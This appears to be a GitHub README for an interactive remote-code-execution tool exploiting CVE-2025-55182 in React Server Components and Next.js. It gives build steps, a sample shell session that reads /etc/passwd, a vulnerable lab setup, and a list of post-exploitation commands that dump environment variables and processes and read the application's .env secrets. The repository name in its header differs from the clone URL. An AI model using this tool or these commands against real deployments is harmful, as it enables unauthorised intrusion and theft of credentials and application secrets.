yyax13/cve-2025-55182RCE exploitation tool targeting CVE-2025-55182, a critical vulnerability in React Server Components (RSC) affecting React 19.0.0 - 19.2.0 and Next.js applications.
Interactive RCE exploitation tool for CVE-2025-55182 (React Server Components)
CVE-2025-55182 is a minimal, interactive RCE exploitation tool targeting CVE-2025-55182, a critical vulnerability in React Server Components (RSC) affecting React 19.0.0 - 19.2.0 and Next.js applications.
git clone https://github.com/Hghost0x00/CVE-2025-55182.git
cd CVE-2025-55182
go build -o CVE-2025-55182 main.go
./CVE-2025-55182
_____________ _______________ _______________ ________ .________ .________.____________ ______ ________
╲_ ___ ╲ ╲ ╱ ╱╲_ _____╱ ╲_____ ╲ _ ╲ ╲_____ ╲ │ ____╱ │ ____╱│ ____╱_ │╱ __ ╲ ╲_____ ╲
╱ ╲ ╲╱╲ Y ╱ │ __)_ ______ ╱ ____╱ ╱_╲ ╲ ╱ ____╱ │____ ╲ ______ │____ ╲ │____ ╲ │ │> < ╱ ____╱
╲ ╲____╲ ╱ │ ╲ ╱_____╱ ╱ ╲ ╲_╱ ╲╱ ╲ ╱ ╲ ╱_____╱ ╱ ╲╱ ╲│ ╱ ── ╲╱ ╲
╲______ ╱ ╲___╱ ╱_______ ╱ ╲_______ ╲_____ ╱╲_______ ╲╱______ ╱ ╱______ ╱______ ╱│___╲______ ╱╲_______ ╲
╲╱ ╲╱ ╲╱ ╲╱ ╲╱ ╲╱ ╲╱ ╲╱ ╲╱ ╲╱
React2Shell RCE | CVE-2025-55182
@hghost010
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[?] Target: localhost:3000
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] VULNERABLE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
ghost@rce $ id
uid=1000(node) gid=1000(node) groups=1000(node)
ghost@rce $ whoami
node
ghost@rce $ pwd
/app
ghost@rce $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
node:x:1000:1000::/home/node:/bin/bash
ghost@rce $ exit
Affected Versions:
Patched Versions:
Want to test this safely? Set up a vulnerable lab environment:
# Clone vulnerable Next.js app
git clone https://github.com/zack0x01/vuln-app-CVE-2025-55182.git
cd vuln-app-CVE-2025-55182
# Install and run
npm install --legacy-peer-deps
npm run dev
# In another terminal, run ghost-scanner
./CVE-2025-55182
# Enter: localhost:3000
ghost@rce $ id # Check user privileges
ghost@rce $ whoami # Current username
ghost@rce $ pwd # Current directory
ghost@rce $ ls -la # List files
ghost@rce $ cat /etc/passwd # Read files
ghost@rce $ uname -a # System information
ghost@rce $ env # Environment variables
ghost@rce $ ps aux # Running processes
ghost@rce $ netstat -tulpn # Network connections
ghost@rce $ cat /app/.env # Application secrets
Found a bug? Open an issue
If this tool helped you:
This project is licensed under the MIT License - see the LICENSE file for details.
Made with 👻 by Hghost0x00
Happy hacking ⚡
